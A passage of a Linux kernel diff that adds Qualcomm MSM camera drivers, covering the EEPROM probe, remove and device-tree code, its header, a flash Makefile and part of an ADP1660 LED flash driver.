-ENOMEM; + goto ERROR; + } + return rc; + +ERROR: + kfree(data->map); + memset(data, 0, sizeof(*data)); + return rc; +} + +static struct msm_cam_clk_info cam_8960_clk_info[] = { + [SENSOR_CAM_MCLK] = {"cam_clk", 24000000}, +}; + +static struct msm_cam_clk_info cam_8974_clk_info[] = { + [SENSOR_CAM_MCLK] = {"cam_src_clk", 19200000}, + [SENSOR_CAM_CLK] = {"cam_clk", 0}, +}; + +static struct v4l2_subdev_core_ops msm_eeprom_subdev_core_ops = { + .ioctl = msm_eeprom_subdev_ioctl, +}; + +static struct v4l2_subdev_ops msm_eeprom_subdev_ops = { + .core = &msm_eeprom_subdev_core_ops, +}; + +static int msm_eeprom_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + int rc = 0; + struct msm_eeprom_ctrl_t *e_ctrl = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + CDBG("%s E\n", __func__); + + if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { + pr_err("%s i2c_check_functionality failed\n", __func__); + goto probe_failure; + } + + e_ctrl = kzalloc(sizeof(*e_ctrl), GFP_KERNEL); + if (!e_ctrl) { + pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); + return -ENOMEM; + } + e_ctrl->eeprom_v4l2_subdev_ops = &msm_eeprom_subdev_ops; + e_ctrl->eeprom_mutex = &msm_eeprom_mutex; + CDBG("%s client = 0x%p\n", __func__, client); + e_ctrl->eboard_info = (struct msm_eeprom_board_info *)(id->driver_data); + if (!e_ctrl->eboard_info) { + pr_err("%s:%d board info NULL\n", __func__, __LINE__); + rc = -EINVAL; + goto ectrl_free; + } + power_info = &e_ctrl->eboard_info->power_info; + e_ctrl->i2c_client.client = client; + + /* Set device type as I2C */ + e_ctrl->eeprom_device_type = MSM_CAMERA_I2C_DEVICE; + e_ctrl->i2c_client.i2c_func_tbl = &msm_eeprom_qup_func_tbl; + + if (e_ctrl->eboard_info->i2c_slaveaddr != 0) + e_ctrl->i2c_client.client->addr = + e_ctrl->eboard_info->i2c_slaveaddr; + power_info->clk_info = cam_8960_clk_info; + power_info->clk_info_size = ARRAY_SIZE(cam_8960_clk_info); + power_info->dev = &client->dev; + + /*IMPLEMENT READING PART*/ + /* Initialize sub device */ + v4l2_i2c_subdev_init(&e_ctrl->msm_sd.sd, + e_ctrl->i2c_client.client, + e_ctrl->eeprom_v4l2_subdev_ops); + v4l2_set_subdevdata(&e_ctrl->msm_sd.sd, e_ctrl); + e_ctrl->msm_sd.sd.internal_ops = &msm_eeprom_internal_ops; + e_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + media_entity_init(&e_ctrl->msm_sd.sd.entity, 0, NULL, 0); + e_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + e_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_EEPROM; + msm_sd_register(&e_ctrl->msm_sd); + CDBG("%s success result=%d X\n", __func__, rc); + return rc; + +ectrl_free: + kfree(e_ctrl); +probe_failure: + pr_err("%s failed! rc = %d\n", __func__, rc); + return rc; +} + +static int msm_eeprom_i2c_remove(struct i2c_client *client) +{ + struct v4l2_subdev *sd = i2c_get_clientdata(client); + struct msm_eeprom_ctrl_t *e_ctrl; + if (!sd) { + pr_err("%s: Subdevice is NULL\n", __func__); + return 0; + } + + e_ctrl = (struct msm_eeprom_ctrl_t *)v4l2_get_subdevdata(sd); + if (!e_ctrl) { + pr_err("%s: eeprom device is NULL\n", __func__); + return 0; + } + + kfree(e_ctrl->cal_data.mapdata); + kfree(e_ctrl->cal_data.map); + if (e_ctrl->eboard_info) { + kfree(e_ctrl->eboard_info->power_info.gpio_conf); + kfree(e_ctrl->eboard_info); + } + kfree(e_ctrl); + return 0; +} + +#define msm_eeprom_spi_parse_cmd(spic, str, name, out, size) \ + { \ + if (of_property_read_u32_array( \ + spic->spi_master->dev.of_node, \ + str, out, size)) { \ + return -EFAULT; \ + } else { \ + spic->cmd_tbl.name.opcode = out[0]; \ + spic->cmd_tbl.name.addr_len = out[1]; \ + spic->cmd_tbl.name.dummy_len = out[2]; \ + } \ + } + +static int msm_eeprom_spi_parse_of(struct msm_camera_spi_client *spic) +{ + int rc = -EFAULT; + uint32_t tmp[3]; + msm_eeprom_spi_parse_cmd(spic, "qcom,spiop,read", read, tmp, 3); + msm_eeprom_spi_parse_cmd(spic, "qcom,spiop,readseq", read_seq, tmp, 3); + msm_eeprom_spi_parse_cmd(spic, "qcom,spiop,queryid", query_id, tmp, 3); + + rc = of_property_read_u32_array(spic->spi_master->dev.of_node, + "qcom,eeprom-id", tmp, 2); + if (rc) { + pr_err("%s: Failed to get eeprom id\n", __func__); + return rc; + } + spic->mfr_id = tmp[0]; + spic->device_id = tmp[1]; + + return 0; +} + +static int msm_eeprom_match_id(struct msm_eeprom_ctrl_t *e_ctrl) +{ + int rc; + struct msm_camera_i2c_client *client = &e_ctrl->i2c_client; + uint8_t id[2]; + + rc = msm_camera_spi_query_id(client, 0, &id[0], 2); + if (rc < 0) + return rc; + CDBG("%s: read 0x%x 0x%x, check 0x%x 0x%x\n", __func__, id[0], + id[1], client->spi_client->mfr_id, client->spi_client->device_id); + if (id[0] != client->spi_client->mfr_id + || id[1] != client->spi_client->device_id) + return -ENODEV; + + return 0; +} + +static int msm_eeprom_get_dt_data(struct msm_eeprom_ctrl_t *e_ctrl) +{ + int rc = 0, i = 0; + struct msm_eeprom_board_info *eb_info; + struct msm_camera_power_ctrl_t *power_info = + &e_ctrl->eboard_info->power_info; + struct device_node *of_node = NULL; + struct msm_camera_gpio_conf *gconf = NULL; + uint16_t gpio_array_size = 0; + uint16_t *gpio_array = NULL; + + eb_info = e_ctrl->eboard_info; + if (e_ctrl->eeprom_device_type == MSM_CAMERA_SPI_DEVICE) + of_node = e_ctrl->i2c_client. + spi_client->spi_master->dev.of_node; + else if (e_ctrl->eeprom_device_type == MSM_CAMERA_PLATFORM_DEVICE) + of_node = e_ctrl->pdev->dev.of_node; + + rc = msm_camera_get_dt_vreg_data(of_node, &power_info->cam_vreg, + &power_info->num_vreg); + if (rc < 0) + return rc; + + rc = msm_camera_get_dt_power_setting_data(of_node, + power_info->cam_vreg, power_info->num_vreg, + power_info); + if (rc < 0) + goto ERROR1; + + power_info->gpio_conf = kzalloc(sizeof(struct msm_camera_gpio_conf), + GFP_KERNEL); + if (!power_info->gpio_conf) { + rc = -ENOMEM; + goto ERROR2; + } + gconf = power_info->gpio_conf; + gpio_array_size = of_gpio_count(of_node); + CDBG("%s gpio count %d\n", __func__, gpio_array_size); + + if (gpio_array_size) { + gpio_array = kzalloc(sizeof(uint16_t) * gpio_array_size, + GFP_KERNEL); + if (!gpio_array) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR3; + } + for (i = 0; i < gpio_array_size; i++) { + gpio_array[i] = of_get_gpio(of_node, i); + CDBG("%s gpio_array[%d] = %d\n", __func__, i, + gpio_array[i]); + } + + rc = msm_camera_get_dt_gpio_req_tbl(of_node, gconf, + gpio_array, gpio_array_size); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR4; + } + + rc = msm_camera_init_gpio_pin_tbl(of_node, gconf, + gpio_array, gpio_array_size); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR4; + } + kfree(gpio_array); + } + + return rc; +ERROR4: + kfree(gpio_array); +ERROR3: + kfree(power_info->gpio_conf); +ERROR2: + kfree(power_info->cam_vreg); +ERROR1: + kfree(power_info->power_setting); + return rc; +} + + +static int msm_eeprom_cmm_dts(struct msm_eeprom_board_info *eb_info, + struct device_node *of_node) +{ + int rc = 0; + struct msm_eeprom_cmm_t *cmm_data = &eb_info->cmm_data; + + cmm_data->cmm_support = + of_property_read_bool(of_node, "qcom,cmm-data-support"); + if (!cmm_data->cmm_support) + return -EINVAL; + cmm_data->cmm_compression = + of_property_read_bool(of_node, "qcom,cmm-data-compressed"); + if (!cmm_data->cmm_compression) + CDBG("No MM compression data\n"); + + rc = of_property_read_u32(of_node, "qcom,cmm-data-offset", + &cmm_data->cmm_offset); + if (rc < 0) + CDBG("No MM offset data\n"); + + rc = of_property_read_u32(of_node, "qcom,cmm-data-size", + &cmm_data->cmm_size); + if (rc < 0) + CDBG("No MM size data\n"); + + CDBG("cmm_support: cmm_compr %d, cmm_offset %d, cmm_size %d\n", + cmm_data->cmm_compression, + cmm_data->cmm_offset, + cmm_data->cmm_size); + return 0; +} + +static int msm_eeprom_spi_setup(struct spi_device *spi) +{ + struct msm_eeprom_ctrl_t *e_ctrl = NULL; + struct msm_camera_i2c_client *client = NULL; + struct msm_camera_spi_client *spi_client; + struct msm_eeprom_board_info *eb_info; + struct msm_camera_power_ctrl_t *power_info = NULL; + int rc = 0; + + e_ctrl = kzalloc(sizeof(*e_ctrl), GFP_KERNEL); + if (!e_ctrl) { + pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); + return -ENOMEM; + } + e_ctrl->eeprom_v4l2_subdev_ops = &msm_eeprom_subdev_ops; + e_ctrl->eeprom_mutex = &msm_eeprom_mutex; + client = &e_ctrl->i2c_client; + e_ctrl->is_supported = 0; + + spi_client = kzalloc(sizeof(*spi_client), GFP_KERNEL); + if (!spi_client) { + pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); + kfree(e_ctrl); + return -ENOMEM; + } + + rc = of_property_read_u32(spi->dev.of_node, "cell-index", + &e_ctrl->subdev_id); + CDBG("cell-index %d, rc %d\n", e_ctrl->subdev_id, rc); + if (rc < 0) { + pr_err("failed rc %d\n", rc); + return rc; + } + + e_ctrl->eeprom_device_type = MSM_CAMERA_SPI_DEVICE; + client->spi_client = spi_client; + spi_client->spi_master = spi; + client->i2c_func_tbl = &msm_eeprom_spi_func_tbl; + client->addr_type = MSM_CAMERA_I2C_3B_ADDR; + + eb_info = kzalloc(sizeof(*eb_info), GFP_KERNEL); + if (!eb_info) + goto spi_free; + e_ctrl->eboard_info = eb_info; + rc = of_property_read_string(spi->dev.of_node, "qcom,eeprom-name", + &eb_info->eeprom_name); + CDBG("%s qcom,eeprom-name %s, rc %d\n", __func__, + eb_info->eeprom_name, rc); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto board_free; + } + + rc = msm_eeprom_cmm_dts(e_ctrl->eboard_info, spi->dev.of_node); + if (rc < 0) + CDBG("%s MM data miss:%d\n", __func__, __LINE__); + + power_info = &eb_info->power_info; + + power_info->clk_info = cam_8974_clk_info; + power_info->clk_info_size = ARRAY_SIZE(cam_8974_clk_info); + power_info->dev = &spi->dev; + + rc = msm_eeprom_get_dt_data(e_ctrl); + if (rc < 0) + goto board_free; + + /* set spi instruction info */ + spi_client->retry_delay = 1; + spi_client->retries = 0; + + rc = msm_eeprom_spi_parse_of(spi_client); + if (rc < 0) { + dev_err(&spi->dev, + "%s: Error parsing device properties\n", __func__); + goto board_free; + } + + /* prepare memory buffer */ + rc = msm_eeprom_parse_memory_map(spi->dev.of_node, + &e_ctrl->cal_data); + if (rc < 0) + CDBG("%s: no cal memory map\n", __func__); + + /* power up eeprom for reading */ + rc = msm_camera_power_up(power_info, e_ctrl->eeprom_device_type, + &e_ctrl->i2c_client); + if (rc < 0) { + pr_err("failed rc %d\n", rc); + goto caldata_free; + } + + /* check eeprom id */ + rc = msm_eeprom_match_id(e_ctrl); + if (rc < 0) { + CDBG("%s: eeprom not matching %d\n", __func__, rc); + goto power_down; + } + /* read eeprom */ + if (e_ctrl->cal_data.map) { + rc = read_eeprom_memory(e_ctrl, &e_ctrl->cal_data); + if (rc < 0) { + pr_err("%s: read cal data failed\n", __func__); + goto power_down; + } + e_ctrl->is_supported |= msm_eeprom_match_crc( + &e_ctrl->cal_data); + } + + rc = msm_camera_power_down(power_info, e_ctrl->eeprom_device_type, + &e_ctrl->i2c_client); + if (rc < 0) { + pr_err("failed rc %d\n", rc); + goto caldata_free; + } + + /* initiazlie subdev */ + v4l2_spi_subdev_init(&e_ctrl->msm_sd.sd, + e_ctrl->i2c_client.spi_client->spi_master, + e_ctrl->eeprom_v4l2_subdev_ops); + v4l2_set_subdevdata(&e_ctrl->msm_sd.sd, e_ctrl); + e_ctrl->msm_sd.sd.internal_ops = &msm_eeprom_internal_ops; + e_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + media_entity_init(&e_ctrl->msm_sd.sd.entity, 0, NULL, 0); + e_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + e_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_EEPROM; + msm_sd_register(&e_ctrl->msm_sd); + e_ctrl->is_supported = (e_ctrl->is_supported << 1) | 1; + CDBG("%s success result=%d supported=%x X\n", __func__, rc, + e_ctrl->is_supported); + + return 0; + +power_down: + msm_camera_power_down(power_info, e_ctrl->eeprom_device_type, + &e_ctrl->i2c_client); +caldata_free: + kfree(e_ctrl->cal_data.mapdata); + kfree(e_ctrl->cal_data.map); +board_free: + kfree(e_ctrl->eboard_info); +spi_free: + kfree(spi_client); + kfree(e_ctrl); + return rc; +} + +static int msm_eeprom_spi_probe(struct spi_device *spi) +{ + int irq, cs, cpha, cpol, cs_high; + + CDBG("%s\n", __func__); + spi->bits_per_word = 8; + spi->mode = SPI_MODE_0; + spi_setup(spi); + + irq = spi->irq; + cs = spi->chip_select; + cpha = (spi->mode & SPI_CPHA) ? 1 : 0; + cpol = (spi->mode & SPI_CPOL) ? 1 : 0; + cs_high = (spi->mode & SPI_CS_HIGH) ? 1 : 0; + CDBG("%s: irq[%d] cs[%x] CPHA[%x] CPOL[%x] CS_HIGH[%x]\n", + __func__, irq, cs, cpha, cpol, cs_high); + CDBG("%s: max_speed[%u]\n", __func__, spi->max_speed_hz); + + return msm_eeprom_spi_setup(spi); +} + +static int msm_eeprom_spi_remove(struct spi_device *sdev) +{ + struct v4l2_subdev *sd = spi_get_drvdata(sdev); + struct msm_eeprom_ctrl_t *e_ctrl; + if (!sd) { + pr_err("%s: Subdevice is NULL\n", __func__); + return 0; + } + + e_ctrl = (struct msm_eeprom_ctrl_t *)v4l2_get_subdevdata(sd); + if (!e_ctrl) { + pr_err("%s: eeprom device is NULL\n", __func__); + return 0; + } + + kfree(e_ctrl->i2c_client.spi_client); + kfree(e_ctrl->cal_data.mapdata); + kfree(e_ctrl->cal_data.map); + if (e_ctrl->eboard_info) { + kfree(e_ctrl->eboard_info->power_info.gpio_conf); + kfree(e_ctrl->eboard_info); + } + kfree(e_ctrl); + return 0; +} + +static int msm_eeprom_platform_probe(struct platform_device *pdev) +{ + int rc = 0; + int j = 0; + uint32_t temp; + + struct msm_camera_cci_client *cci_client = NULL; + struct msm_eeprom_ctrl_t *e_ctrl = NULL; + struct msm_eeprom_board_info *eb_info = NULL; + struct device_node *of_node = pdev->dev.of_node; + struct msm_camera_power_ctrl_t *power_info = NULL; + + CDBG("%s E\n", __func__); + + e_ctrl = kzalloc(sizeof(*e_ctrl), GFP_KERNEL); + if (!e_ctrl) { + pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); + return -ENOMEM; + } + e_ctrl->eeprom_v4l2_subdev_ops = &msm_eeprom_subdev_ops; + e_ctrl->eeprom_mutex = &msm_eeprom_mutex; + + e_ctrl->is_supported = 0; + if (!of_node) { + pr_err("%s dev.of_node NULL\n", __func__); + return -EINVAL; + } + + rc = of_property_read_u32(of_node, "cell-index", + &pdev->id); + CDBG("cell-index %d, rc %d\n", pdev->id, rc); + if (rc < 0) { + pr_err("failed rc %d\n", rc); + return rc; + } + e_ctrl->subdev_id = pdev->id; + + rc = of_property_read_u32(of_node, "qcom,cci-master", + &e_ctrl->cci_master); + CDBG("qcom,cci-master %d, rc %d\n", e_ctrl->cci_master, rc); + if (rc < 0) { + pr_err("%s failed rc %d\n", __func__, rc); + return rc; + } + rc = of_property_read_u32(of_node, "qcom,slave-addr", + &temp); + if (rc < 0) { + pr_err("%s failed rc %d\n", __func__, rc); + return rc; + } + + /* Set platform device handle */ + e_ctrl->pdev = pdev; + /* Set device type as platform device */ + e_ctrl->eeprom_device_type = MSM_CAMERA_PLATFORM_DEVICE; + e_ctrl->i2c_client.i2c_func_tbl = &msm_eeprom_cci_func_tbl; + e_ctrl->i2c_client.cci_client = kzalloc(sizeof( + struct msm_camera_cci_client), GFP_KERNEL); + if (!e_ctrl->i2c_client.cci_client) { + pr_err("%s failed no memory\n", __func__); + return -ENOMEM; + } + + e_ctrl->eboard_info = kzalloc(sizeof( + struct msm_eeprom_board_info), GFP_KERNEL); + if (!e_ctrl->eboard_info) { + pr_err("%s failed line %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto cciclient_free; + } + eb_info = e_ctrl->eboard_info; + power_info = &eb_info->power_info; + eb_info->i2c_slaveaddr = temp; + + power_info->clk_info = cam_8974_clk_info; + power_info->clk_info_size = ARRAY_SIZE(cam_8974_clk_info); + power_info->dev = &pdev->dev; + + CDBG("qcom,slave-addr = 0x%X\n", eb_info->i2c_slaveaddr); + cci_client = e_ctrl->i2c_client.cci_client; + cci_client->cci_subdev = msm_cci_get_subdev(); + cci_client->cci_i2c_master = e_ctrl->cci_master; + cci_client->sid = eb_info->i2c_slaveaddr >> 1; + cci_client->retries = 3; + cci_client->id_map = 0; + + rc = of_property_read_string(of_node, "qcom,eeprom-name", + &eb_info->eeprom_name); + CDBG("%s qcom,eeprom-name %s, rc %d\n", __func__, + eb_info->eeprom_name, rc); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto board_free; + } + + rc = msm_eeprom_cmm_dts(e_ctrl->eboard_info, of_node); + if (rc < 0) + CDBG("%s MM data miss:%d\n", __func__, __LINE__); + + rc = msm_eeprom_get_dt_data(e_ctrl); + if (rc) + goto board_free; + + rc = msm_eeprom_parse_memory_map(of_node, &e_ctrl->cal_data); + if (rc < 0) + goto board_free; + + rc = msm_camera_power_up(power_info, e_ctrl->eeprom_device_type, + &e_ctrl->i2c_client); + if (rc) { + pr_err("failed rc %d\n", rc); + goto memdata_free; + } + rc = read_eeprom_memory(e_ctrl, &e_ctrl->cal_data); + if (rc < 0) { + pr_err("%s read_eeprom_memory failed\n", __func__); + goto power_down; + } + for (j = 0; j < e_ctrl->cal_data.num_data; j++) + CDBG("memory_data[%d] = 0x%X\n", j, + e_ctrl->cal_data.mapdata[j]); + + e_ctrl->is_supported |= msm_eeprom_match_crc(&e_ctrl->cal_data); + + rc = msm_camera_power_down(power_info, e_ctrl->eeprom_device_type, + &e_ctrl->i2c_client); + if (rc) { + pr_err("failed rc %d\n", rc); + goto memdata_free; + } + v4l2_subdev_init(&e_ctrl->msm_sd.sd, + e_ctrl->eeprom_v4l2_subdev_ops); + v4l2_set_subdevdata(&e_ctrl->msm_sd.sd, e_ctrl); + platform_set_drvdata(pdev, &e_ctrl->msm_sd.sd); + e_ctrl->msm_sd.sd.internal_ops = &msm_eeprom_internal_ops; + e_ctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + snprintf(e_ctrl->msm_sd.sd.name, + ARRAY_SIZE(e_ctrl->msm_sd.sd.name), "msm_eeprom"); + media_entity_init(&e_ctrl->msm_sd.sd.entity, 0, NULL, 0); + e_ctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + e_ctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_EEPROM; + msm_sd_register(&e_ctrl->msm_sd); + + e_ctrl->is_supported = (e_ctrl->is_supported << 1) | 1; + CDBG("%s X\n", __func__); + return rc; + +power_down: + msm_camera_power_down(power_info, e_ctrl->eeprom_device_type, + &e_ctrl->i2c_client); +memdata_free: + kfree(e_ctrl->cal_data.mapdata); + kfree(e_ctrl->cal_data.map); +board_free: + kfree(e_ctrl->eboard_info); +cciclient_free: + kfree(e_ctrl->i2c_client.cci_client); + kfree(e_ctrl); + return rc; +} + +static int msm_eeprom_platform_remove(struct platform_device *pdev) +{ + struct v4l2_subdev *sd = platform_get_drvdata(pdev); + struct msm_eeprom_ctrl_t *e_ctrl; + if (!sd) { + pr_err("%s: Subdevice is NULL\n", __func__); + return 0; + } + + e_ctrl = (struct msm_eeprom_ctrl_t *)v4l2_get_subdevdata(sd); + if (!e_ctrl) { + pr_err("%s: eeprom device is NULL\n", __func__); + return 0; + } + + kfree(e_ctrl->i2c_client.cci_client); + kfree(e_ctrl->cal_data.mapdata); + kfree(e_ctrl->cal_data.map); + if (e_ctrl->eboard_info) { + kfree(e_ctrl->eboard_info->power_info.gpio_conf); + kfree(e_ctrl->eboard_info); + } + kfree(e_ctrl); + return 0; +} + +static const struct of_device_id msm_eeprom_dt_match[] = { + { .compatible = "qcom,eeprom" }, + { } +}; + +MODULE_DEVICE_TABLE(of, msm_eeprom_dt_match); + +static struct platform_driver msm_eeprom_platform_driver = { + .driver = { + .name = "qcom,eeprom", + .owner = THIS_MODULE, + .of_match_table = msm_eeprom_dt_match, + }, + .remove = msm_eeprom_platform_remove, +}; + +static const struct i2c_device_id msm_eeprom_i2c_id[] = { + { "msm_eeprom", (kernel_ulong_t)NULL}, + { } +}; + +static struct i2c_driver msm_eeprom_i2c_driver = { + .id_table = msm_eeprom_i2c_id, + .probe = msm_eeprom_i2c_probe, + .remove = msm_eeprom_i2c_remove, + .driver = { + .name = "msm_eeprom", + }, +}; + +static struct spi_driver msm_eeprom_spi_driver = { + .driver = { + .name = "qcom_eeprom", + .owner = THIS_MODULE, + .of_match_table = msm_eeprom_dt_match, + }, + .probe = msm_eeprom_spi_probe, + .remove = msm_eeprom_spi_remove, +}; + +static int __init msm_eeprom_init_module(void) +{ + int rc = 0; + CDBG("%s E\n", __func__); + rc = platform_driver_probe(&msm_eeprom_platform_driver, + msm_eeprom_platform_probe); + CDBG("%s:%d platform rc %d\n", __func__, __LINE__, rc); + rc = spi_register_driver(&msm_eeprom_spi_driver); + CDBG("%s:%d spi rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&msm_eeprom_i2c_driver); +} + +static void __exit msm_eeprom_exit_module(void) +{ + platform_driver_unregister(&msm_eeprom_platform_driver); + spi_unregister_driver(&msm_eeprom_spi_driver); + i2c_del_driver(&msm_eeprom_i2c_driver); +} + +module_init(msm_eeprom_init_module); +module_exit(msm_eeprom_exit_module); +MODULE_DESCRIPTION("MSM EEPROM driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.h new file mode 100644 index 0000000000000..9a04f06ae6714 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/eeprom/msm_eeprom.h @@ -0,0 +1,49 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#ifndef MSM_EEPROM_H +#define MSM_EEPROM_H + +#include +#include +#include +#include +#include +#include "msm_camera_i2c.h" +#include "msm_camera_spi.h" +#include "msm_camera_io_util.h" +#include "msm_camera_dt_util.h" + +struct msm_eeprom_ctrl_t; + +#define DEFINE_MSM_MUTEX(mutexname) \ + static struct mutex mutexname = __MUTEX_INITIALIZER(mutexname) + +#define PROPERTY_MAXSIZE 32 + +struct msm_eeprom_ctrl_t { + struct platform_device *pdev; + struct mutex *eeprom_mutex; + + struct v4l2_subdev sdev; + struct v4l2_subdev_ops *eeprom_v4l2_subdev_ops; + enum msm_camera_device_type_t eeprom_device_type; + struct msm_sd_subdev msm_sd; + enum cci_i2c_master_t cci_master; + + struct msm_camera_i2c_client i2c_client; + struct msm_eeprom_memory_block_t cal_data; + uint8_t is_supported; + struct msm_eeprom_board_info *eboard_info; + uint32_t subdev_id; +}; + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile new file mode 100644 index 0000000000000..6f6c35ba7284e --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/Makefile @@ -0,0 +1,9 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +obj-$(CONFIG_MSMB_CAMERA) += msm_led_flash.o +obj-$(CONFIG_MSMB_CAMERA) += msm_led_trigger.o +obj-$(CONFIG_MSMB_CAMERA) += msm_led_i2c_trigger.o +obj-$(CONFIG_MSMB_CAMERA) += adp1660.o +obj-$(CONFIG_MSMB_CAMERA) += bd7710.o +obj-$(CONFIG_MSMB_CAMERA) += msm_led_torch.o +obj-$(CONFIG_MSMB_CAMERA) += lm3642.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/adp1660.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/adp1660.c new file mode 100644 index 0000000000000..f57843c6ff2a0 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/adp1660.c @@ -0,0 +1,212 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include +#include +#include "msm_led_flash.h" + +#define FLASH_NAME "qcom,led-flash" + +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +static struct msm_led_flash_ctrl_t fctrl; +static struct i2c_driver adp1660_i2c_driver; + +static struct msm_camera_i2c_reg_array adp1660_init_array[] = { + {0x01, 0x03}, + {0x02, 0x0F}, + {0x09, 0x28}, +}; + +static struct msm_camera_i2c_reg_array adp1660_off_array[] = { + {0x0f, 0x00}, +}; + +static struct msm_camera_i2c_reg_array adp1660_release_array[] = { + {0x0f, 0x00}, +}; + +static struct msm_camera_i2c_reg_array adp1660_low_array[] = { + {0x08, 0x04}, + {0x06, 0x1E}, + {0x01, 0xBD}, + {0x0f, 0x01}, +}; + +static struct msm_camera_i2c_reg_array adp1660_high_array[] = { + {0x02, 0x4F}, + {0x06, 0x3C}, + {0x09, 0x3C}, + {0x0f, 0x03}, + {0x01, 0xBB}, +}; + +static void __exit msm_flash_adp1660_i2c_remove(void) +{ + i2c_del_driver(&adp1660_i2c_driver); + return; +} + +static const struct of_device_id adp1660_trigger_dt_match[] = { + {.compatible = "qcom,led-flash", .data = &fctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, adp1660_trigger_dt_match); + +static const struct i2c_device_id flash_i2c_id[] = { + {"qcom,led-flash", (kernel_ulong_t)&fctrl}, + { } +}; + +static const struct i2c_device_id adp1660_i2c_id[] = { + {FLASH_NAME, (kernel_ulong_t)&fctrl}, + { } +}; + +static int msm_flash_adp1660_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + if (!id) { + pr_err("msm_flash_adp1660_i2c_probe: id is NULL"); + id = adp1660_i2c_id; + } + + return msm_flash_i2c_probe(client, id); +} + +static struct i2c_driver adp1660_i2c_driver = { + .id_table = adp1660_i2c_id, + .probe = msm_flash_adp1660_i2c_probe, + .remove = __exit_p(msm_flash_adp1660_i2c_remove), + .driver = { + .name = FLASH_NAME, + .owner = THIS_MODULE, + .of_match_table = adp1660_trigger_dt_match, + }, +}; + +static int msm_flash_adp1660_platform_probe(struct platform_device *pdev) +{ + const struct of_device_id *match; + match = of_match_device(adp1660_trigger_dt_match, &pdev->dev); + if (!match) + return -EFAULT; + return msm_flash_probe(pdev, match->data); +} + +static struct platform_driver adp1660_platform_driver = { + .probe = msm_flash_adp1660_platform_probe, + .driver = { + .name = "qcom,led-flash", + .owner = THIS_MODULE, + .of_match_table = adp1660_trigger_dt_match, + }, +}; + +static int __init msm_flash_adp1660_init_module(void) +{ + int32_t rc = 0; + rc = platform_driver_register(&adp1660_platform_driver); + if (!rc) + return rc; + pr_debug("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&adp1660_i2c_driver); +} + +static void __exit msm_flash_adp1660_exit_module(void) +{ + if (fctrl.pdev) + platform_driver_unregister(&adp1660_platform_driver); + else + i2c_del_driver(&adp1660_i2c_driver); +} + +static struct msm_camera_i2c_client adp1660_i2c_client = { + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, +}; + +static struct msm_camera_i2c_reg_setting adp1660_init_setting = { + .reg_setting = adp1660_init_array, + .size = ARRAY_SIZE(adp1660_init_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting adp1660_off_setting = { + .reg_setting = adp1660_off_array, + .size = ARRAY_SIZE(adp1660_off_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting adp1660_release_setting = { + .reg_setting = adp1660_release_array, + .size = ARRAY_SIZE(adp1660_release_array), + .addr_type 